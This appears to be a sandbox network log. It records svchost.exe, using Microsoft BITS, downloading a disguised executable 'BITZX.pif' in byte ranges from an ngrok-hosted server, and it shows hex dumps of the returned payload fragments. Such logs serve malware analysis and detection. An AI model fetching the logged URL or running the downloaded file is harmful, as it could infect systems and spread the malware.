2025-01-15 14:26:03 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 86 Content-Range: bytes 14534-14619/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:03 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:03 UTC	86	IN	Data Raw: 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 Data Ascii: 0000*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.11.20	49826	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:06 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=14620-14672 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:06 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 53 Content-Range: bytes 14620-14672/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:06 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:06 UTC	53	IN	Data Raw: 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 Data Ascii: 00***

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.11.20	49827	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:08 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=14673-14692 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:08 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 20 Content-Range: bytes 14673-14692/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:08 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:08 UTC	20	IN	Data Raw: 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a Data Ascii: ***

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.11.20	49828	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:11 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=14693-15056 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:11 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 364 Content-Range: bytes 14693-15056/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:11 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:11 UTC	364	IN	Data Raw: 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 08 00 00 00 00 00 00 00 00 14 a5 3a 01 00 02 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a Data Ascii: ******0000:00000000*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.11.20	49829	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:14 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=15057-15590 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:14 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 534 Content-Range: bytes 15057-15590/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:13 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:14 UTC	534	IN	Data Raw: 00 00 2a 13 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 06 00 04 00 00 00 00 00 00 00 Data Ascii: 0000000000000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.11.20	49830	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:17 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=15591-15632 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:17 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 42 Content-Range: bytes 15591-15632/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:17 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:17 UTC	42	IN	Data Raw: 00 00 00 14 2a 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 17 2a 00 00 00 12 00 00 17 2a Data Ascii: 0*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.11.20	49831	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:20 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=15633-15830 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:21 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 198 Content-Range: bytes 15633-15830/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:20 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:21 UTC	198	IN	Data Raw: 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 Data Ascii: *00*00000000*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.11.20	49832	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:23 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=15831-16071 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:24 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 241 Content-Range: bytes 15831-16071/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:23 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:24 UTC	241	IN	Data Raw: 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 Data Ascii: 00000*00000000*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.11.20	49833	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:26 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=16072-16172 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:27 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 101 Content-Range: bytes 16072-16172/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:26 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:27 UTC	101	IN	Data Raw: 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 13 Data Ascii: 0*000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.11.20	49834	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:30 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=16173-16740 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:31 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 568 Content-Range: bytes 16173-16740/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:31 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:31 UTC	568	IN	Data Raw: 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 Data Ascii: 000*00***0.(C(9**000000*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.11.20	49835	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:32 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=16741-16816 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:33 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 76 Content-Range: bytes 16741-16816/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:33 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:33 UTC	76	IN	Data Raw: 00 00 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 Data Ascii: 0000*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.11.20	49836	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:34 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=16817-16913 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:35 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 97 Content-Range: bytes 16817-16913/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:35 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:35 UTC	97	IN	Data Raw: 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 Data Ascii: 000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.11.20	49837	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:37 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=16914-17071 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:38 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 158 Content-Range: bytes 16914-17071/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:38 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:38 UTC	158	IN	Data Raw: 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 2e 28 43 f5 00 06 28 39 Data Ascii: 000000*00**.(C(9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.11.20	49838	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:41 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=17072-17522 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:42 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 451 Content-Range: bytes 17072-17522/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:41 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:42 UTC	451	IN	Data Raw: f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 08 00 ac 00 00 00 01 00 00 11 28 43 f5 00 06 20 03 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 05 00 00 00 7b 00 00 00 14 00 00 00 05 00 00 00 48 00 00 00 57 00 00 00 38 76 00 00 00 28 3b f5 00 06 20 04 00 00 00 38 d3 ff ff Data Ascii: **000000.(C(9*00*0(C 8E{HW8v(; 8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.11.20	49839	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:44 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=17523-17603 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:45 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 81 Content-Range: bytes 17523-17603/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:44 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:45 UTC	81	IN	Data Raw: 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 Data Ascii: 000*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.11.20	49840	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:48 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=17604-17740 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:48 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 137 Content-Range: bytes 17604-17740/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:48 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:48 UTC	137	IN	Data Raw: 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 16 6a 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 22 00 14 a5 20 00 00 02 2a 00 00 00 22 00 14 a5 4f 02 00 02 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 05 00 04 Data Ascii: j0" "O***00*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.11.20	49841	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:51 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=17741-18217 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:51 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 477 Content-Range: bytes 17741-18217/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:50 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:51 UTC	477	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 16 2a 00 00 00 12 00 00 16 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 01 10 00 00 02 00 78 07 af 27 08 7b 00 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 08 00 00 00 00 00 00 00 00 14 a5 68 01 00 02 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 08 00 00 00 00 00 00 00 00 14 a5 9c 01 00 02 2a 13 30 03 00 08 00 00 00 00 00 00 00 00 14 a5 9c 01 00 02 2a 12 00 00 14 2a 00 00 00 13 30 05 00 cb 00 00 00 01 00 00 11 28 43 f5 00 06 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 05 00 00 00 06 00 00 00 15 00 00 00 5d 00 00 00 39 00 00 00 05 00 00 00 38 01 00 00 00 2a 28 3b f5 00 06 20 03 00 00 00 38 d2 ff ff Data Ascii: **00x'{00h0000(C 8E]98(; 8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.11.20	49842	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:52 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=18218-18221 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:52 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 4 Content-Range: bytes 18218-18221/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:51 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:52 UTC	4	IN	Data Raw: 00 14 2a 00 Data Ascii: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.11.20	49843	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:55 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=18222-18426 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:55 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 205 Content-Range: bytes 18222-18426/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:55 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:55 UTC	205	IN	Data Raw: 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 08 00 00 00 00 00 00 00 00 14 a5 61 01 00 02 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 1c 00 00 02 00 00 00 3a 01 00 00 1d 01 00 00 57 02 00 00 3f 00 00 00 00 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 16 2a 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 1c 00 00 02 00 00 00 97 02 00 00 23 01 00 00 ba 03 00 00 3f 00 00 00 00 00 00 00 13 30 04 00 04 00 00 Data Ascii: *00a000A:W?0*0A#?0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.11.20	49844	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:57 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=18427-18657 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:57 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 231 Content-Range: bytes 18427-18657/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:56 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
